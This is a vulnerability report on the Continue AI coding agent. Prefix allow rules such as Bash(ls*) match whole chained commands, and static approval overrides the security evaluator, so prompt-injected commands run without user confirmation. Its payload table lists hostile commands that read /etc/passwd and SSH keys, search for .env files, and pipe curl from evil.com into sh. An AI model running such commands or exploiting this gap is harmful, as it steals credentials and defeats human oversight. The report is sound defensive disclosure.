#13288·Continue

HITL bypass: Bash(prefix*) static allow matches chained commands — user-preference-wins overrides dynamic security evaluator ask

Author: TardfyouCreated Sep 17, 2026Updated Sep 17, 2026

Summary

When a user configures an allow rule like Bash(ls*) for the terminal tool, the permission checker converts the pattern to regex ^ls.*$ and tests it against the entire command string — including chained commands after ;, &&, or |. Additionally, checkToolPermission implements a "user preference wins" policy: if the static rule says allow, the dynamic security evaluator's ask recommendation is overridden.

Combined effect: approving ls -la permanently auto-approves any command starting with ls — including ls; cat /etc/passwd, ls && find /home -name .env, or ls; curl http://evil.com | sh.

Root cause

  1. Static pattern matching (permissionChecker.ts:42-57): Bash(ls*) → regex ^ls.*$ tested against the FULL command string, not just the first command.

  2. Dynamic evaluator override (permissionChecker.ts:161-174): checkToolPermission implements "user preference wins" — if the static rule says allow, the dynamic security evaluator's ask is discarded:

    typescript
    if (evaluatedPolicy === "disabled") { return "exclude"; }
    return { permission: basePermission };  // static allow overrides evaluator "ask"
  3. No compound-command splitting (tool/bash.ts): unlike Zed (which parses sub-commands via brush-parser) or AutoGPT (which splits on ;/&&), Continue passes the raw command string to the permission checker without parsing it into individual sub-commands.

Reproduction (fully offline)

typescript
import { evaluateTerminalCommandSecurity } from "packages/terminal-security/src/evaluateTerminalCommandSecurity.ts";

// User config: Bash(ls*) -> allow
// The static rule matches the ENTIRE command:
const matches = new RegExp("^ls.*$").test("ls; cat /etc/passwd");  // true

// Dynamic evaluator says "ask":
const dynamic = evaluateTerminalCommandSecurity("allowedWithPermission", "ls; cat /etc/passwd");
// -> "allowedWithPermission"

// But "user preference wins" overrides:
// -> final permission = "allow" -> executes without prompting

Tested payloads (all with base policy Bash(ls*) -> allow):

command static match dynamic evaluator final effect
ls ✅ allow AUTO-EXEC ✓ safe
ls; cat /etc/passwd ✅ allow ask AUTO-EXEC reads /etc/passwd
ls && find /home -name .env ✅ allow ask AUTO-EXEC credential discovery
ls; cat ~/.ssh/id_rsa ✅ allow ask AUTO-EXEC SSH key theft
ls; curl http://evil.com | sh ✅ allow ask AUTO-EXEC RCE
ls; python3 -c 'import os; os.system("…")' ✅ allow ask AUTO-EXEC RCE

Impact

Once a user approves a benign prefix command (e.g., ls -la), any subsequent prompt-injected command starting with that prefix — including chained destructive or exfiltration commands — executes silently without any user interaction. The confirmation dialog the user trusts is effectively disabled for that prefix.

Suggested fix

  1. Split compound commands on ;, &&, || before pattern matching (as Continue's own evaluateTerminalCommandSecurity already does for its dynamic evaluator)
  2. Match each sub-command independently against the static rules
  3. If any sub-command fails to match the allow rule, require explicit approval for the full command

Credit

Chengzhi Yi — [email protected] — GitHub: @Tardfyou